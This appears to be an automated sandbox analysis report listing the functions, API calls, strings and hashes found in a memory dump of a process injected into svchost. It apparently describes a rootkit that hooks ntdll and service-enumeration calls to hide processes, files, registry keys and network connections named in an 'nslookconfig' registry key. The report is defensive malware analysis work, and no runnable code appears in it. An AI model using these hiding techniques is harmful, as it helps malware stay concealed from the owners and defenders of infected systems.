RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF415DA
RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF41605
RegCloseKey.ADVAPI32 ref: 000001B8BFF4161F
RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF41642
RegCloseKey.ADVAPI32 ref: 000001B8BFF4165D
RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF41680
RegCloseKey.ADVAPI32 ref: 000001B8BFF4169B
RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF416BE
RegCloseKey.ADVAPI32 ref: 000001B8BFF416D9
RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF416FC
RegCloseKey.ADVAPI32 ref: 000001B8BFF41717
RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF4173A
RegCloseKey.ADVAPI32 ref: 000001B8BFF41755
RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF41778
RegCloseKey.ADVAPI32 ref: 000001B8BFF41793
RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF417B6
RegCloseKey.ADVAPI32 ref: 000001B8BFF417D1
RegCloseKey.ADVAPI32 ref: 000001B8BFF417DB

Part of subcall function 000001B8BFF411C0: RegQueryInfoKeyW.ADVAPI32 ref: 000001B8BFF41220
Part of subcall function 000001B8BFF411C0: RegEnumValueW.ADVAPI32 ref: 000001B8BFF412AD
Part of subcall function 000001B8BFF411C0: lstrcmpiW.KERNEL32 ref: 000001B8BFF412F6
Part of subcall function 000001B8BFF411C0: lstrlenW.KERNEL32 ref: 000001B8BFF41363

Strings

process_names, xrefs: 000001B8BFF41679
pid, xrefs: 000001B8BFF4163B
SOFTWARE\nslookconfig, xrefs: 000001B8BFF415B6
tcp_local, xrefs: 000001B8BFF41733
udp, xrefs: 000001B8BFF417AF
paths, xrefs: 000001B8BFF416B7
startup, xrefs: 000001B8BFF415FE
tcp_remote, xrefs: 000001B8BFF41771
service_names, xrefs: 000001B8BFF416F5

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: CloseOpen$Concurrency::cancel_current_taskEnumInfoQueryValuelstrcmpilstrlen
String ID: SOFTWARE\nslookconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2205723969-4286660177
Opcode ID: 7cf5cfbc156c7f14cfbef28fc8ad97089fc617735fd991efd10034e53f37ea62
Instruction ID: 7aa8b90339ad11b9a3d11ace94312d56e96ba4ecdfe9c8b7944ca494a80b14b6
Opcode Fuzzy Hash: 7cf5cfbc156c7f14cfbef28fc8ad97089fc617735fd991efd10034e53f37ea62
Instruction Fuzzy Hash: 47C15632610B118AE710EF71E9913DE7BB8F788F88F018016DA8967B69DF7AD455C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF43F20 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001B8BFF43F58
PathFindFileNameW.SHLWAPI ref: 000001B8BFF43F6B
GetModuleHandleW.KERNEL32 ref: 000001B8BFF43F95
GetCurrentProcess.KERNEL32 ref: 000001B8BFF43FC7
VirtualProtectEx.KERNEL32 ref: 000001B8BFF43FE9
GetCurrentProcess.KERNEL32 ref: 000001B8BFF44007
VirtualProtectEx.KERNEL32 ref: 000001B8BFF44028
CreateThread.KERNEL32 ref: 000001B8BFF44068

Part of subcall function 000001B8BFF4A610: _invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF4A62D

Strings

nslook, xrefs: 000001B8BFF43F7C

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: CurrentFileModuleNameProcessProtectVirtual$CreateFindHandlePathThread_invalid_parameter_noinfo
String ID: nslook
API String ID: 2570614652-925916808
Opcode ID: f1d8bc74bf052771e52778655c87fe18c3546f35a08540481f72330a9496183f
Instruction ID: cfcfdb69c580174a336b7621ea8a573ae88536a7c2ad23099a056eb73ab51e3e
Opcode Fuzzy Hash: f1d8bc74bf052771e52778655c87fe18c3546f35a08540481f72330a9496183f
Instruction Fuzzy Hash: FA415931A04B8282FB64AB35F6657DA33A9FB44F84F040029DD4A66B95EF3FC018C744

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF41ED0 Relevance: 3.0, APIs: 2, Instructions: 18
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000001B8BFF41EE7
SleepEx.KERNEL32 ref: 000001B8BFF41EED

Part of subcall function 000001B8BFF41400: RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF415DA
Part of subcall function 000001B8BFF41400: RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF41605
Part of subcall function 000001B8BFF41400: RegCloseKey.ADVAPI32 ref: 000001B8BFF4161F
Part of subcall function 000001B8BFF41400: RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF41642
Part of subcall function 000001B8BFF41400: RegCloseKey.ADVAPI32 ref: 000001B8BFF4165D
Part of subcall function 000001B8BFF41400: RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF41680
Part of subcall function 000001B8BFF41400: RegCloseKey.ADVAPI32 ref: 000001B8BFF4169B
Part of subcall function 000001B8BFF41400: RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF416BE
Part of subcall function 000001B8BFF41400: RegCloseKey.ADVAPI32 ref: 000001B8BFF416D9
Part of subcall function 000001B8BFF41400: RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF416FC
Part of subcall function 000001B8BFF41400: RegCloseKey.ADVAPI32 ref: 000001B8BFF41717
Part of subcall function 000001B8BFF41400: RegOpenKeyExW.ADVAPI32 ref: 000001B8BFF4173A
Part of subcall function 000001B8BFF41400: RegCloseKey.ADVAPI32 ref: 000001B8BFF41755

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: Open$Close$Sleep
String ID:
API String ID: 3308825301-0
Opcode ID: 0335e562c384ed4ab1b4dfda930fd32856ca0767eaff0783c008b7edfd4736cd
Instruction ID: c57af3be4dbddc60cac9372473c9671a23a205f75f5a56761055a69f52157214
Opcode Fuzzy Hash: 0335e562c384ed4ab1b4dfda930fd32856ca0767eaff0783c008b7edfd4736cd
Instruction Fuzzy Hash: C7E0EC3060170290FA927BBAAF87BD9379D6B49FC8F241024994D973E3EF6A8459D305

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF135D0 Relevance: 1.7, APIs: 1, Instructions: 216
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001B8BFF13745

Memory Dump Source

Source File: 00000031.00000002.508827639.000001B8BFF10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff10000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 08772dcd6b70912aa01ac8df599671afdeafe4e5ce07d66a2e7adf18228cebbd
Instruction ID: ab77a3e53c36e480a52c6020d070c619eab97f15d0c7f7e71008ffb406637f0e
Opcode Fuzzy Hash: 08772dcd6b70912aa01ac8df599671afdeafe4e5ce07d66a2e7adf18228cebbd
Instruction Fuzzy Hash: F381467370169087EB559F21D650BEB77A9FB44FA0F058124EE0947388EF3ADA25C700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001B8BFF4BEC8 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000001B8BFF4BF41
RtlLookupFunctionEntry.KERNEL32 ref: 000001B8BFF4BF59
RtlVirtualUnwind.KERNEL32 ref: 000001B8BFF4BF94
IsDebuggerPresent.KERNEL32 ref: 000001B8BFF4BFCD
SetUnhandledExceptionFilter.KERNEL32 ref: 000001B8BFF4BFD7
UnhandledExceptionFilter.KERNEL32 ref: 000001B8BFF4BFE2

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: d18354117ab1f5ea70f659ee65f3239325a9cd384c952b0dc72439d0b55e665e
Instruction ID: ae7d0747505b0c317d4bbc2cbab73e77f5ff364b546457f2210d1e22a6337268
Opcode Fuzzy Hash: d18354117ab1f5ea70f659ee65f3239325a9cd384c952b0dc72439d0b55e665e
Instruction Fuzzy Hash: 46317C36214F8186EB60EF35E9903DE73A8F788B94F540126EA9D53B99EF39C155CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF51000 Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 000001B8BFF5106F
WriteFile.KERNEL32 ref: 000001B8BFF51319
WriteFile.KERNEL32 ref: 000001B8BFF5136B
GetLastError.KERNEL32 ref: 000001B8BFF514AD
GetLastError.KERNEL32 ref: 000001B8BFF514BF

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: fe26169f788e9b9e7868ecd312231555bbb6a3c1c65eac13abe60d826e8fca9f
Instruction ID: 549c974a4702cac34c8ca3658ecf33f9df967db3ec95e7d542efce5b3d575890
Opcode Fuzzy Hash: fe26169f788e9b9e7868ecd312231555bbb6a3c1c65eac13abe60d826e8fca9f
Instruction Fuzzy Hash: E3D1EF72704B809AE710EB78D6A02DD7BB9F745B88F144216CE8E57B99DF39E01AC740

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF41F20 Relevance: 57.9, APIs: 21, Strings: 12, Instructions: 167
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001B8BFF41F42
GetModuleHandleA.KERNEL32 ref: 000001B8BFF41F57
GetProcAddress.KERNEL32 ref: 000001B8BFF41F6E
GetModuleHandleA.KERNEL32 ref: 000001B8BFF41FA3
GetProcAddress.KERNEL32 ref: 000001B8BFF41FB8
GetModuleHandleA.KERNEL32 ref: 000001B8BFF41FED
GetProcAddress.KERNEL32 ref: 000001B8BFF42002
GetModuleHandleA.KERNEL32 ref: 000001B8BFF42037
GetProcAddress.KERNEL32 ref: 000001B8BFF4204C
GetModuleHandleA.KERNEL32 ref: 000001B8BFF42081
GetProcAddress.KERNEL32 ref: 000001B8BFF42096
GetModuleHandleA.KERNEL32 ref: 000001B8BFF420CB
GetProcAddress.KERNEL32 ref: 000001B8BFF420E0
GetModuleHandleA.KERNEL32 ref: 000001B8BFF42115
GetProcAddress.KERNEL32 ref: 000001B8BFF4212A
GetModuleHandleA.KERNEL32 ref: 000001B8BFF4215F
GetProcAddress.KERNEL32 ref: 000001B8BFF42174
GetModuleHandleA.KERNEL32 ref: 000001B8BFF421A9
GetProcAddress.KERNEL32 ref: 000001B8BFF421BE
GetModuleHandleA.KERNEL32 ref: 000001B8BFF421F3
GetProcAddress.KERNEL32 ref: 000001B8BFF42208

Strings

NtResumeThread, xrefs: 000001B8BFF41FAE
EnumServiceGroupW, xrefs: 000001B8BFF42120
ntdll.dll, xrefs: 000001B8BFF41F50, 000001B8BFF41F9C, 000001B8BFF41FE6, 000001B8BFF42030, 000001B8BFF4207A, 000001B8BFF420C4, 000001B8BFF421EC
EnumServicesStatusExW, xrefs: 000001B8BFF4216A, 000001B8BFF421B4
NtQueryDirectoryFile, xrefs: 000001B8BFF41FF8
NtEnumerateValueKey, xrefs: 000001B8BFF420D6
NtDeviceIoControlFile, xrefs: 000001B8BFF421FE
sechost.dll, xrefs: 000001B8BFF421A2
advapi32.dll, xrefs: 000001B8BFF4210E, 000001B8BFF42158
NtQueryDirectoryFileEx, xrefs: 000001B8BFF42042
NtEnumerateKey, xrefs: 000001B8BFF4208C
NtQuerySystemInformation, xrefs: 000001B8BFF41F64

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc$CurrentThread
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4239977575-1975688563
Opcode ID: 581cd848fa1035c490543cb2f1aec387bc8739e25c5ec99f8b392157e34e0f20
Instruction ID: 6d3ca59ef6d23025bc66e82b69caf1ecafca9b061aa98823ff22e798ea37ebef
Opcode Fuzzy Hash: 581cd848fa1035c490543cb2f1aec387bc8739e25c5ec99f8b392157e34e0f20
Instruction Fuzzy Hash: 5491C374602B06A1FE55FB38FAA53E433ACBF44F80FA45426850E623A4EF7AD559C311

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF429E0 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 379
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000001B8BFF42B1C
GetFinalPathNameByHandleW.KERNEL32 ref: 000001B8BFF42B43
lstrlenW.KERNEL32 ref: 000001B8BFF42B71
lstrcpyW.KERNEL32 ref: 000001B8BFF42B8C
lstrcmpiW.KERNEL32 ref: 000001B8BFF42BF9
lstrcpyW.KERNEL32 ref: 000001B8BFF42C0E
lstrcatW.KERNEL32 ref: 000001B8BFF42C1B
PathCombineW.SHLWAPI ref: 000001B8BFF42C2A
lstrcmpiW.KERNEL32 ref: 000001B8BFF42C73
lstrcmpW.KERNEL32 ref: 000001B8BFF42C7B
lstrcmpiW.KERNEL32 ref: 000001B8BFF42D5B
lstrcpyW.KERNEL32 ref: 000001B8BFF42D70
lstrcatW.KERNEL32 ref: 000001B8BFF42D7D
PathCombineW.SHLWAPI ref: 000001B8BFF42D8C
lstrcmpW.KERNEL32 ref: 000001B8BFF42DDB
lstrcmpiW.KERNEL32 ref: 000001B8BFF42DD3

Part of subcall function 000001B8BFF4A610: _invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF4A62D

Strings

nslook, xrefs: 000001B8BFF42BBF, 000001B8BFF42D1E, 000001B8BFF42E5C
\\?\, xrefs: 000001B8BFF42B53
\\.\pipe\, xrefs: 000001B8BFF42B27, 000001B8BFF42BE8, 000001B8BFF42D4A, 000001B8BFF42E84

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: lstrcmpi$Pathlstrcpy$Combinelstrcatlstrcmp$FileFinalHandleNameType_invalid_parameter_noinfolstrlen
String ID: \\.\pipe\$\\?\$nslook
API String ID: 4069998685-1812639415
Opcode ID: 50d4ea44a64ca543742431b3508c0a7aed6a82b491e0e1d75679c31f8e3d45a7
Instruction ID: cb3dc28ea3c4a4d2d026e485507e44396be361c5efe6bcf43255f04362c8f0a1
Opcode Fuzzy Hash: 50d4ea44a64ca543742431b3508c0a7aed6a82b491e0e1d75679c31f8e3d45a7
Instruction Fuzzy Hash: 36F1AD32700B828AEB24AF35EA903D977A8F788F94F544025DA4967F98DF3AD549C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF433C0 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 370
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001B8BFF43467
GetProcAddress.KERNEL32 ref: 000001B8BFF4347C
OpenProcess.KERNEL32 ref: 000001B8BFF4354C
K32GetModuleFileNameExW.KERNEL32 ref: 000001B8BFF4356D
PathFindFileNameW.SHLWAPI ref: 000001B8BFF4357F
lstrlenW.KERNEL32 ref: 000001B8BFF4358B
lstrcpyW.KERNEL32 ref: 000001B8BFF435A3
CloseHandle.KERNEL32 ref: 000001B8BFF435AC
lstrcmpiW.KERNEL32 ref: 000001B8BFF436A8
lstrcmpW.KERNEL32 ref: 000001B8BFF436B0
OpenProcess.KERNEL32 ref: 000001B8BFF436EF
K32GetModuleFileNameExW.KERNEL32 ref: 000001B8BFF43710
PathFindFileNameW.SHLWAPI ref: 000001B8BFF43722
lstrlenW.KERNEL32 ref: 000001B8BFF4372E
lstrcpyW.KERNEL32 ref: 000001B8BFF43746
CloseHandle.KERNEL32 ref: 000001B8BFF4374F
lstrcmpiW.KERNEL32 ref: 000001B8BFF43818
lstrcmpW.KERNEL32 ref: 000001B8BFF43820

Strings

nslook, xrefs: 000001B8BFF4383D
\Device\Nsi, xrefs: 000001B8BFF434AC
NtQueryObject, xrefs: 000001B8BFF43472
ntdll.dll, xrefs: 000001B8BFF43460

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: FileName$HandleModule$CloseFindOpenPathProcesslstrcmplstrcmpilstrcpylstrlen$AddressProc
String ID: NtQueryObject$\Device\Nsi$nslook$ntdll.dll
API String ID: 3769777229-563693742
Opcode ID: 496234189980b66b35517f7b6b95b357656e0bd266c31318b27ed9856b3f4fb1
Instruction ID: 5aa5af5c47ef2683f1c9420351592a518d8a25bc05bfc994c458915122eefd5f
Opcode Fuzzy Hash: 496234189980b66b35517f7b6b95b357656e0bd266c31318b27ed9856b3f4fb1
Instruction Fuzzy Hash: 51F1ED3670579282EB64AF26E6407EDB3A9F788F80F544026CE49A7784DF3AC854D744

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF42630 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 195
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000001B8BFF42741
GetFinalPathNameByHandleW.KERNEL32 ref: 000001B8BFF42769
lstrlenW.KERNEL32 ref: 000001B8BFF42799
lstrcpyW.KERNEL32 ref: 000001B8BFF427B3

Strings

nslook, xrefs: 000001B8BFF4280D
\\?\, xrefs: 000001B8BFF42779
\\.\pipe\, xrefs: 000001B8BFF4274C, 000001B8BFF42837

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: FileFinalHandleNamePathTypelstrcpylstrlen
String ID: \\.\pipe\$\\?\$nslook
API String ID: 2439355722-1812639415
Opcode ID: 9e899848ac98aaae3b00dc27d34a77e62faabf36e755eb9f180771f864e619b8
Instruction ID: 052a65238b3bbb239cc4e42bacc6ee20b74eebe6b3f8e3e1b78403131301fba7
Opcode Fuzzy Hash: 9e899848ac98aaae3b00dc27d34a77e62faabf36e755eb9f180771f864e619b8
Instruction Fuzzy Hash: 3E9181362046C181FB60AF35EA503EE77A8F785F84F444026CA8A63B99DF3AD549CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF424F0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 76
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001B8BFF42512
GetCurrentProcessId.KERNEL32 ref: 000001B8BFF4251A
OpenProcess.KERNEL32 ref: 000001B8BFF4253E
IsWow64Process.KERNEL32 ref: 000001B8BFF42558
CloseHandle.KERNEL32 ref: 000001B8BFF42576
CreateFileW.KERNEL32 ref: 000001B8BFF425AD
WriteFile.KERNEL32 ref: 000001B8BFF425D2
ReadFile.KERNEL32 ref: 000001B8BFF425EE
CloseHandle.KERNEL32 ref: 000001B8BFF425F7

Strings

\\.\pipe\nslookchildproc64, xrefs: 000001B8BFF4257C
\\.\pipe\nslookchildproc32, xrefs: 000001B8BFF4258F

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\nslookchildproc32$\\.\pipe\nslookchildproc64
API String ID: 2171963597-3427204187
Opcode ID: b5ec5d932adaaccfcfd4fa9355584f9921bfd3a42b27b8747176e760f82e137a
Instruction ID: 5a1eedef5d2f6dd78e6fd221f0fbcfa1c0c656bea85fb7cae13ccf6284997451
Opcode Fuzzy Hash: b5ec5d932adaaccfcfd4fa9355584f9921bfd3a42b27b8747176e760f82e137a
Instruction Fuzzy Hash: 29316F36604B4086EB20AF35F66479AB3A8F789FA4F550125DE5D03BA8DF3ED549CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF17AEC Relevance: 15.2, APIs: 10, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001B8BFF17B14
__scrt_acquire_startup_lock.LIBCMT ref: 000001B8BFF17B66
_RTC_Initialize.LIBCMT ref: 000001B8BFF17B94
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001B8BFF17BBA
__scrt_release_startup_lock.LIBCMT ref: 000001B8BFF17BE5
__scrt_fastfail.LIBCMT ref: 000001B8BFF17C4B

Memory Dump Source

Source File: 00000031.00000002.508827639.000001B8BFF10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff10000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_release_startup_lock
String ID:
API String ID: 2904100720-0
Opcode ID: 6b35b8212f2284779f27ca5c5da834cb643104800c9213282adef094c912fac4
Instruction ID: c8ae5aca2a4f612d89ec8aedd07320126b2046e0d1eefa54b9200476324fcd40
Opcode Fuzzy Hash: 6b35b8212f2284779f27ca5c5da834cb643104800c9213282adef094c912fac4
Instruction Fuzzy Hash: D381D07271468986FF64BB79AB813EB7399A785F80F044115BB0843396EF7BCA42C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF486EC Relevance: 15.2, APIs: 10, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001B8BFF48714
__scrt_acquire_startup_lock.LIBCMT ref: 000001B8BFF48766
_RTC_Initialize.LIBCMT ref: 000001B8BFF48794
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001B8BFF487BA
__scrt_release_startup_lock.LIBCMT ref: 000001B8BFF487E5
__scrt_fastfail.LIBCMT ref: 000001B8BFF4884B

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_release_startup_lock
String ID:
API String ID: 2904100720-0
Opcode ID: b9fba9ebf33b7b9b553ca47caecb391e479f2e9c425bbd4e168cab60532678ed
Instruction ID: 3a88d0bc714e7cab74a086d236e4b3afd088008c47020c10570fca8e2b8efe5c
Opcode Fuzzy Hash: b9fba9ebf33b7b9b553ca47caecb391e479f2e9c425bbd4e168cab60532678ed
Instruction Fuzzy Hash: E581CF31A04A4386FB64BB7A97913D973ACBB85F80F1441259E48A3796EF3BC845D704

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF43C30 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 221
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiW.KERNEL32 ref: 000001B8BFF43D01
lstrcmpW.KERNEL32 ref: 000001B8BFF43D09
lstrcmpW.KERNEL32 ref: 000001B8BFF43D59
lstrcmpiW.KERNEL32 ref: 000001B8BFF43D51

Part of subcall function 000001B8BFF4A610: _invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF4A62D

lstrcmpiW.KERNEL32 ref: 000001B8BFF43E51
lstrcmpW.KERNEL32 ref: 000001B8BFF43E59
lstrcmpiW.KERNEL32 ref: 000001B8BFF43EA1
lstrcmpW.KERNEL32 ref: 000001B8BFF43EA9

Strings

nslook, xrefs: 000001B8BFF43C90, 000001B8BFF43CB3, 000001B8BFF43DE7, 000001B8BFF43E0A

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: lstrcmplstrcmpi$_invalid_parameter_noinfo
String ID: nslook
API String ID: 125796670-925916808
Opcode ID: e4eebad3085524bd7cc81e0496f3330c115c18a0ef6aff813f55017ca675ca3a
Instruction ID: a53f7fdc902fb4f2fa91fe0d52c19dc9f861a05065ccde734e9bc8b6e64c733f
Opcode Fuzzy Hash: e4eebad3085524bd7cc81e0496f3330c115c18a0ef6aff813f55017ca675ca3a
Instruction Fuzzy Hash: 3F81CE76302A5696FB54BF76E7943A973A9F740FC0F054029CA0667B90EF36E468E300

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF411C0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001B8BFF41220
RegEnumValueW.ADVAPI32 ref: 000001B8BFF412AD
lstrcmpiW.KERNEL32 ref: 000001B8BFF412F6
lstrcmpW.KERNEL32 ref: 000001B8BFF412FE
lstrlenW.KERNEL32 ref: 000001B8BFF41363
lstrcpyW.KERNEL32 ref: 000001B8BFF4139E

Strings

d, xrefs: 000001B8BFF41275

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: EnumInfoQueryValuelstrcmplstrcmpilstrcpylstrlen
String ID: d
API String ID: 760382566-2564639436
Opcode ID: 58b6d380fd7a19ccaffb75ac57d677b01951afe1390cb8a1d5f168405babf2dd
Instruction ID: f8c7c4772f58d7f68e4874eb2b5f470208e57190687a01bab14a1584c3334f0d
Opcode Fuzzy Hash: 58b6d380fd7a19ccaffb75ac57d677b01951afe1390cb8a1d5f168405babf2dd
Instruction Fuzzy Hash: C8516B72604B8187EB65EB21FA9139EB3A8F389F80F004529DB9957B59DF39D065CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF444F0 Relevance: 10.6, APIs: 7, Instructions: 125
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001B8BFF4451E
GetCurrentProcess.KERNEL32 ref: 000001B8BFF4452C
VirtualProtectEx.KERNEL32 ref: 000001B8BFF4454E
GetCurrentProcess.KERNEL32 ref: 000001B8BFF4456F
VirtualProtectEx.KERNEL32 ref: 000001B8BFF44590
TerminateThread.KERNEL32 ref: 000001B8BFF445A9
GetCurrentThread.KERNEL32 ref: 000001B8BFF445D3

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: Current$ProcessProtectThreadVirtual$HandleModuleTerminate
String ID:
API String ID: 23076575-0
Opcode ID: 5580002a2b36d1ec19da4d38e3baa73b2c19332edb1061c5b354992008b38483
Instruction ID: b937edd41fe89e6200a7b9c78e6be1627db444eb7e017a4b0a9525fb1e2eb3b1
Opcode Fuzzy Hash: 5580002a2b36d1ec19da4d38e3baa73b2c19332edb1061c5b354992008b38483
